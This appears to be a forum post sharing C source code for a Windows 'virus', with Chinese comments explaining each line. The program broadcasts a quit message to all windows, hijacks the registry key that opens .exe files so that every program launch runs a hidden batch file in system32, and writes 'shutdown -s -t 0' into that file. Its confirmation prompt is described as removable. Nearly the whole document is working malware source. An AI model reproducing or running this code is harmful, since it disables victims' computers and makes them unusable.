- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <tchar.h>
- int main()
- {
- FILE *fp;//我们先定义一个文件指针,因为后面要创建批处理文件
-
- HKEY mykey;//因为需要用到注册表,所以我们来定义一个HKEY变量来保存要打开健的句柄
-
- int i,res;//这两个变量 I是用来保存我们要存入注册表的数据的大小 为后来的API函数服务
-
- res = MessageBox(NULL,TEXT("病毒即将开始攻击您的系统"),TEXT("来自yaomianfa的温馨提示"),MB_YESNO);//做一个保险
-
- if(res==IDYES)//如果用户点击了YES则执行病毒 否则退出程序,当然保险可以删掉
-
- {
- PostMessage(HWND_BROADCAST,WM_QUIT,0,0);//把退出的消息寄送到系统的所有顶层窗口,包括无效或不可见的非自身拥有的窗口、 被覆盖的窗口和弹出式窗口
-
- TCHAR szPath[MAX_PATH]={0},shutdown[20]="shutdown -s -t 0";//定义两个字符数组 用来保存文件路径和批处理命令
-
- strcpy(szPath,"C:\\WINDOWS\\system32\\untfs.bat");//将文件路径保存到变量szpath中
-
- i=strlen(szPath);//计算变量的字节大小存入变量i中
-
- RegOpenKeyEx(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", 0, KEY_ALL_ACCESS, &mykey);//打开我们要修改的键值
-
- RegSetValueEx(mykey, NULL, 0, REG_SZ,szPath,i);//将我们要修改的内容写入注册表中
-
- fp=fopen("C:\\WINDOWS\\system32\\untfs.bat","w");//创建我们的批处理文件
-
- fwrite(shutdown,strlen(shutdown),1,fp);//向批处理文件写入关机命令
-
- system("@echo off");//调用系统命令关闭回显 使我们输入的结果不会显示在命令行上
-
- system("attrib C:\\WINDOWS\\system32\\untfs.bat +h +r +s "); //attrib这个命令为我们的批处理加上了一些属性 h是隐藏属性,r是只读属性,s是系统文件属性
- }
- else return 0;
- return 0;
- }
复制代码 |
|